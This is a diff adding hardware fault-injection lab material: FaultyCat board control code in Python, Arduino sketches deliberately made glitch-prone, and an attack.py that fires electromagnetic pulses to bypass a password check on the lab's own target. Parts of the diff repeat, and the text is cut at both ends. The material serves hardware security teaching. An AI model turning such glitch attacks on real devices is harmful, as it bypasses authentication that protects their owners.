faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def 